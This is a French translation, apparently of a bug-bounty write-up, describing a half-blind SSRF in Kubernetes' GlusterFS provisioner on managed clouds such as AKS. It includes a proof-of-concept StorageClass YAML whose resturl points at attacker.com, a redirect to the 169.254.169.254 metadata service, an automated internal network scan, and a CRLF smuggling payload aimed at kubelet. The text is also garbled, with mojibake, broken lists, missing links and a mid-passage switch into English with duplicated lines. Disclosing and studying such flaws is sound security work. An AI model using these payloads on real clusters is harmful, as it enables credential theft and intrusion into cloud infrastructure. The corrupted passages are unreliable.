Note de traduction.: Les auteurs de cet article expliquent en détail comment ils ont réussi à découvrir une vulnérabilité dans Kubernetes. Bien qu'elle semblait initialement peu dangereuse, sa criticité a été maximale chez certains fournisseurs cloud en raison de divers facteurs. Plusieurs organisations ont généreusement récompensé le travail des spécialistes.

Qui sommes-nous
Nous sommes deux chercheurs français en sécurité qui ont découvert ensemble une vulnérabilité dans Kubernetes. Nous sommes Brice Augras et Christophe Hauquiert, mais sur de nombreuses plateformes Bug Bounty, nous sommes connus sous les noms de Reeverzax et Hach respectivement :
- â ;
- â architecte Kubernetes chez Nokia.
Que s'est-il passé?
Cet article est notre façon de raconter comment un projet de recherche ordinaire s'est soudainement transformé en la plus passionnante aventure de la vie des chasseurs de bugs (du moins jusqu'à présent).
Comme vous le savez sûrement, les chasseurs de bugs ont quelques particularités :
- ils vivent de pizzas et de biĂšre ;
- ils travaillent quand tout le monde dort.
Nous ne faisons pas exception à ces rÚgles : nous nous rencontrons généralement le week-end et passons des nuits blanches à hacker. Mais l'une de ces nuits s'est terminée de maniÚre assez inhabituelle.
Au départ, nous avions prévu de nous rencontrer pour discuter de notre participation à le lendemain. En discutant de la sécurité de Kubernetes dans un environnement de service géré, nous nous sommes rappelés d'une vieille idée de SSRF () et avons décidé d'essayer de l'utiliser comme scénario d'attaque.
à 23 heures, nous nous sommes penchés sur les recherches et sommes allés nous coucher tÎt le matin, plutÎt satisfaits des résultats. C'est grùce à ces recherches que nous sommes tombés sur le programme MSRC Bug Bounty et avons conçu un exploit avec élévation de privilÚges.
Quelques semaines/mois plus tard, notre rĂ©sultat inattendu nous a permis de recevoir l'une des plus grandes rĂ©compenses de l'histoire du programme Azure Cloud Bug Bounty â en plus de celle que nous avons obtenue de Kubernetes !
Suite à notre projet de recherche, le comité Kubernetes Product Security Committee a publié .
Nous souhaitons maintenant diffuser au maximum les informations sur la vulnérabilité trouvée. Nous espérons que vous apprécierez cette découverte et partagerez les détails techniques avec d'autres membres de la communauté infosec !
Alors, voici notre histoireâŠ
Contexte
Pour comprendre pleinement le sens de ce qui s'est passé, examinons d'abord comment Kubernetes fonctionne dans un environnement cloud géré.
Lors de la création d'une instance de cluster Kubernetes dans un tel environnement, le fonctionnement de la couche de gestion est généralement pris en charge par le fournisseur de services cloud :

La couche de gestion se situe dans le pĂ©rimĂštre du fournisseur de cloud, tandis que les nĆuds Kubernetes se trouvent dans le pĂ©rimĂštre du client.
Un mécanisme de provisionnement dynamique des volumes est utilisé, qui fournit des volumes depuis un backend de stockage externe et les associe à des PVC (persistent volume claim, c'est-à -dire une demande de volume).
Ainsi, aprÚs la création et l'association du PVC à une StorageClass dans le cluster K8s, le kube/cloud controller manager prend en charge les étapes suivantes pour le provisionnement du volume (son nom exact dépend de la version). (Note de traduction.: Nous avons déjà écrit sur le CCM en prenant l'exemple de son implémentation pour l'un des fournisseurs de cloud. .)
Il existe plusieurs types de provisioners pris en charge par Kubernetes : la plupart d'entre eux sont intégrés au tandis que d'autres sont gérés par des provisioners supplémentaires, qui sont déployés dans des pods au sein du cluster.
Dans notre recherche, nous nous sommes concentrés sur le mécanisme interne de provisionnement des volumes, illustré ci-dessous :

Provisionnement dynamique de volumes à l'aide du provisioner intégré de Kubernetes.
En résumé, lorsque Kubernetes est déployé dans un environnement géré, la responsabilité du controller manager incombe au fournisseur de services cloud, mais la demande de création d'un volume (numéro 3 sur le schéma ci-dessus) quitte le périmÚtre du réseau interne du fournisseur de cloud. Cela rend la situation vraiment intéressante !
Scénario de piratage
Dans cette section, nous verrons comment nous avons exploitĂ© le flux de travail mentionnĂ© ci-dessus pour accĂ©der aux ressources internes du fournisseur de services cloud. De plus, nous montrerons comment certaines actions peuvent ĂȘtre rĂ©alisĂ©es, par exemple, obtenir des identifiants internes ou procĂ©der Ă une Ă©lĂ©vation de privilĂšges.
Une simple manipulation (dans ce cas, il s'agit de Service Side Request Forgery) a permis de sortir du périmÚtre client dans les clusters de divers fournisseurs de services gérés par K8s.
Dans nos recherches, nous nous sommes concentrĂ©s sur le provisionneur GlusterFS. Bien que la sĂ©quence d'actions suivante soit dĂ©crite dans ce contexte, cette mĂȘme vulnĂ©rabilitĂ© concerne Quobyte, StorageOS et ScaleIO.

Abus du mécanisme de provisionnement dynamique des volumes
Lors de l'analyse de la classe de stockage GlusterFS dans le code source du client en Golang, nous , ce qui, lors de la premiĂšre requĂȘte HTTP (3) envoyĂ©e lors de la crĂ©ation du volume, se trouve Ă la fin de l'URL utilisateur dans le paramĂštre resturl la mĂȘme information que pour le conteneur ordinaire. /volumes.
Pour Ă©liminer ce chemin supplĂ©mentaire, nous avons dĂ©cidĂ© d'ajouter # -CommandName resturl. Voici la premiĂšre configuration YAML que nous avons utilisĂ©e pour tester la vulnĂ©rabilitĂ© « semi-aveugle » SSRF (pour en savoir plus sur le SSRF semi-aveugle ou half-blind, par exemple, â n.d.t.):
apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
name: poc-ssrf
spec:
accessModes:
- ReadWriteOnce
volumeMode: Filesystem
resources:
requests:
storage: 8Gi
storageClassName: poc-ssrfEnsuite, pour gérer à distance le cluster Kubernetes, nous avons utilisé le binaire kubectl. En rÚgle générale, les fournisseurs de cloud (Azure, Google, AWS, etc.) permettent d'obtenir des informations d'identification pour les utiliser avec cet utilitaire.
GrĂące Ă cela, nous avons pu appliquer notre fichier « spĂ©cial ». Le kube-controller-manager a effectuĂ© la requĂȘte HTTP rĂ©sultante :
kubectl create -f sc-poc.yaml 
Réponse du point de vue de l'attaquant
Peu aprĂšs, nous avons Ă©galement pu obtenir une rĂ©ponse HTTP du serveur cible â via les commandes describe pvc ou get events dans kubectl. Et en effet : ce pilote Kubernetes est par dĂ©faut trop bavard dans ses avertissements/messages d'erreurâŠ
Voici un exemple avec un lien vers https://www.google.fr, défini en tant que paramÚtre resturl:
kubectl describe pvc poc-ssrf
# ou vous pouvez utiliser kubectl get events 
Dans le cadre de cette approche, nous Ă©tions limitĂ©s aux requĂȘtes de type HTTP POST et ne pouvions pas obtenir le contenu du corps de la rĂ©ponse si le code retournĂ© Ă©tait 201. Nous avons donc dĂ©cidĂ© de mener des recherches supplĂ©mentaires et d'Ă©largir ce scĂ©nario de piratage avec de nouvelles approches.
L'évolution de nos recherches
- Scénario avancé n°1 : utilisation d'une redirection 302 depuis un serveur externe pour modifier la méthode HTTP afin d'avoir un moyen plus flexible de collecter des données internes.
- Scénario avancé n°2 : automatisation de la numérisation LAN et découverte des ressources internes.
- ScĂ©nario avancĂ© n°3 : utilisation de HTTP CRLF + smuggling pour crĂ©er des requĂȘtes HTTP personnalisĂ©es et obtenir des donnĂ©es extraites des journaux du kube-controller.
Spécifications techniques
- L'étude a utilisé Azure Kubernetes Service (AKS) avec Kubernetes version 1.12 dans la région Europe du Nord.
- Les scénarios décrits ci-dessus ont été exécutés sur les derniÚres versions de Kubernetes à l'exception du troisiÚme scénario, car il nécessitait une version de Kubernetes compilée avec Golang †1.12.
- Serveur externe de l'attaquant â
https://attacker.com.
ScĂ©nario avancĂ© n°1 : redirection de la requĂȘte HTTP POST en GET et obtention de donnĂ©es sensibles
La mĂ©thode initiale a Ă©tĂ© amĂ©liorĂ©e par la configuration du serveur de l'attaquant pour retourner 302 HTTP Retcode, pour convertir la requĂȘte POST en requĂȘte GET (Ă©tape 4 sur le schĂ©ma) :

La premiĂšre requĂȘte (3), Ă©manant du client GlusterFS (Controller Manager), est de type POST. En suivant les Ă©tapes suivantes, nous avons pu la transformer en GET :
- En tant que paramĂštre
resturldans StorageClass, il est spécifiéhttp://attacker.com/redirect.php. - L'Endpoint
https://attacker.com/redirect.phprĂ©pond avec un code d'Ă©tat 302 HTTP avec l'en-tĂȘte Location suivant :http://169.254.169.254. Cela peut ĂȘtre n'importe quelle autre ressource interne â dans ce cas, le lien de redirection est utilisĂ© uniquement Ă titre d'exemple. - Par dĂ©faut bibliothĂšque net/http de Golang redirige la requĂȘte et convertit POST en GET avec un code d'Ă©tat 302, entraĂźnant l'envoi d'une requĂȘte HTTP GET vers la ressource cible.
Pour lire le corps de la réponse HTTP, il faut faire describe de l'objet PVC :
kubectl describe pvc xxxVoici un exemple de réponse HTTP au format JSON que nous avons réussi à obtenir :

Les capacités de la vulnérabilité trouvée à l'époque étaient limitées en raison des éléments suivants :
- L'impossibilitĂ© d'insĂ©rer des en-tĂȘtes HTTP dans la requĂȘte sortante.
- L'incapacitĂ© Ă effectuer une requĂȘte POST avec des paramĂštres dans le corps (ce qui est pratique pour demander la valeur d'une clĂ© d'une instance etcd fonctionnant sur 2379 le port, si HTTP non sĂ©curisĂ© est utilisĂ©).
- L'incapacité à obtenir le contenu du corps de la réponse lorsque le code d'état était de 200 et que la réponse n'avait pas de Content-Type JSON.
Scénario avancé n°2 : scan du réseau local
Cette méthode SSRF half-blind a ensuite été utilisée pour scanner le réseau interne du fournisseur de services cloud et interroger divers services à l'écoute (instance Metadata, Kubelet, etcd, etc.) basés sur les réponses du kube controller.

Tout d'abord, les ports standards d'Ă©coute des composants Kubernetes (8443, 10250, 10251, etc.) ont Ă©tĂ© identifiĂ©s, puis le processus de scan a dĂ» ĂȘtre automatisĂ©.
Confronté au fait que cette méthode de scan des ressources est trÚs spécifique et incompatible avec les scanners classiques et les outils SSRF, nous avons décidé de créer nos propres workers dans un script bash pour automatiser l'ensemble du processus.
Par exemple, pour scanner plus rapidement la plage 172.16.0.0/12 du rĂ©seau interne, 15 workers Ă©taient lancĂ©s en parallĂšle. La plage d'IP mentionnĂ©e ci-dessus a Ă©tĂ© choisie uniquement Ă titre d'exemple et peut ĂȘtre modifiĂ©e pour la plage IP d'un fournisseur de services spĂ©cifique.
Pour scanner une seule adresse IP et un seul port, il est nécessaire de procéder comme suit :
- supprimer le StorageClass vérifié précédemment ;
- supprimer le Persistent Volume Claim précédemment vérifié ;
- changer les valeurs d'IP et de port dans
sc.yaml; - créer un StorageClass avec la nouvelle IP et le nouveau port ;
- créer un nouveau PVC ;
- extraire les résultats du scan à l'aide de describe pour le PVC.
Scénario avancé n°3 : injection CRLF + smuggling HTTP dans les « anciennes » versions du cluster Kubernetes
Si, en plus, le fournisseur offrait aux clients des anciennes versions du cluster K8s et et leur donnait accÚs aux logs de kube-controller-manager, l'effet devenait encore plus marqué.
Il est en effet beaucoup plus facile pour un attaquant de modifier Ă sa guise les requĂȘtes HTTP destinĂ©es Ă obtenir la rĂ©ponse HTTP complĂšte.

Pour rĂ©aliser le dernier scĂ©nario, les conditions suivantes devaient ĂȘtre remplies :
- L'utilisateur doit avoir accĂšs aux logs du kube-controller-manager (comme c'est le cas par exemple dans Azure LogInsights).
- Le cluster Kubernetes doit utiliser une version de Golang inférieure à 1.12.
Nous avons déployé un environnement local simulant l'échange de données entre le client Go GlusterFS et un faux serveur cible (nous nous abstiendrons de publier le PoC pour l'instant).
Une vulnérabilité a été découverte , touchant les versions de Golang inférieures à 1.12 et permettant aux hackers de mener des attaques de type HTTP smuggling/CRLF.
En combinant le SSRF half-blind dĂ©crit prĂ©cĂ©demment ensemble avec celui-ci, nous avons pu envoyer des requĂȘtes Ă notre guise, y compris en remplaçant les en-tĂȘtes, la mĂ©thode HTTP, les paramĂštres et les donnĂ©es que kube-controller-manager traitait ensuite.
Voici un exemple de « leurre » fonctionnel dans le paramĂštre resturl du StorageClass, qui met en Ćuvre un tel scĂ©nario d'attaque :
http://172.31.X.1:10255/healthz? HTTP/1.1rnConnection: keep-
alivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET /pods? HTTP/1.1rnHost: 172.31.X.1:10255rnrnCela entraßne une erreur réponse non sollicitée, message that is recorded in the controller logs. Thanks to the default enabled 'verbosity', the content of the HTTP response message is also saved there.
![]()
This was our most effective 'bait' within the proof of concept.
By using this approach, we were able to carry out some of the following attacks in clusters from various managed k8s providers: privilege escalation with credential acquisition on metadata instances, DoS attacks on the master through (unencrypted) HTTP requests to the master instances of etcd, and so on.
Conséquences
In the official statement from Kubernetes regarding the SSRF vulnerability we discovered, it was assigned a rating CVSS 6.3/10: CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N. When considering only the vulnerability related to the Kubernetes perimeter, the integrity vector (integrity vector) is classified as TSSAA.
However, assessing the potential consequences in the context of a managed service environment (and this was the most interesting part of our research!) prompted us to reclassify the vulnerability to a rating Critical CVSS10/10 for many distributors.
Below is additional information that will help understand what guided us in assessing potential consequences in cloud environments:
Intégrité
- Remote command execution using acquired internal credentials.
- Reproducing the above scenario via IDOR (Insecure Direct Object Reference) with other resources found in the local network.
Confidentialité
- A lateral movement attack Information gathering through local network scanning (determining SSH version, HTTP server version, âŠ).
- Collecting information about instances and infrastructure by querying internal APIs, such as the metadata API (
- Theft of client data using cloud credentials.
http://169.254.169.254, âŠ). - All exploit scenarios related to attack vectors on
Disponibilité
integrity , can be used for destructive actions and lead to master instances from the client perimeter (or any other) becoming unavailable., peuvent ĂȘtre utilisĂ©s Ă des fins destructrices et entraĂźner l'inaccessibilitĂ© des masters instances depuis le pĂ©rimĂštre client (ou tout autre).
Ătant donnĂ© que nous Ă©tions dans un environnement K8s gĂ©rĂ© et Ă©valuions l'impact sur l'intĂ©gritĂ©, de nombreux scĂ©narios susceptibles d'affecter la disponibilitĂ© peuvent ĂȘtre imaginĂ©s. Ă titre d'exemples supplĂ©mentaires, on peut citer la corruption de la base de donnĂ©es etcd ou l'exĂ©cution d'un appel critique Ă l'API Kubernetes.
Chronologie
- 6 décembre 2019 : envoi d'un message concernant une vulnérabilité découverte au programme MSRC Bug Bounty.
- 3 janvier 2020 : un tiers a informé les développeurs de Kubernetes que nous travaillions sur un problÚme de sécurité et a demandé à ce qu'ils considÚrent le SSRF comme une vulnérabilité in-core. Suite à cela, nous avons soumis un rapport global avec des détails techniques sur la source du problÚme.
- 15 janvier 2020 : nous avons fourni aux développeurs de Kubernetes des rapports techniques et globaux à leur demande (via la plateforme HackerOne).
- 15 janvier 2020 : les développeurs de Kubernetes nous ont informés que le SSRF half-blind + injection CRLF pour les versions passées était considéré comme une vulnérabilité in-core. Nous avons immédiatement cessé l'analyse des périmÚtres d'autres fournisseurs : l'équipe K8s s'occupait désormais de la cause profonde.
- 15 janvier 2020 : récompense reçue de MSRC via HackerOne.
- 16 janvier 2020 : le PSC (Product Security Committee) de Kubernetes a reconnu la vulnérabilité et a demandé à la garder secrÚte jusqu'à la mi-mars en raison du grand nombre de victimes potentielles.
- 11 février 2020 : récompense reçue de Google VRP.
- 4 mars 2020 : récompense reçue de Kubernetes via HackerOne.
- 15 mars 2020 : la divulgation publique initialement prévue a été reportée en raison de la situation COVID-19.
- 1er juin 2020 : déclaration conjointe de Kubernetes + Microsoft concernant la vulnérabilité.
TL;DR
- Nous buvons de la biĂšre et mangeons de la pizza đ
- Nous avons dĂ©couvert une vulnĂ©rabilitĂ© in-core dans Kubernetes, mĂȘme si nous n'avions pas l'intention de le faire.
- Nous avons mené une analyse supplémentaire dans les clusters de divers fournisseurs de services cloud et avons pu aggraver les dégùts causés par la vulnérabilité pour obtenir des bonus supplémentaires incroyables.
- Dans cet article, vous trouverez de nombreux détails techniques. Nous serions ravis d'en discuter avec vous (Twitter : & ).
- Il s'est avéré que toutes les formalités et la rédaction des rapports prennent beaucoup plus de temps que prévu.
Liens
- ;
- ;
- ;
- .
P.S. de l'auteur
Lisez aussi dans notre blog :
- «»;
- «»;
- «».
Source : habr.com
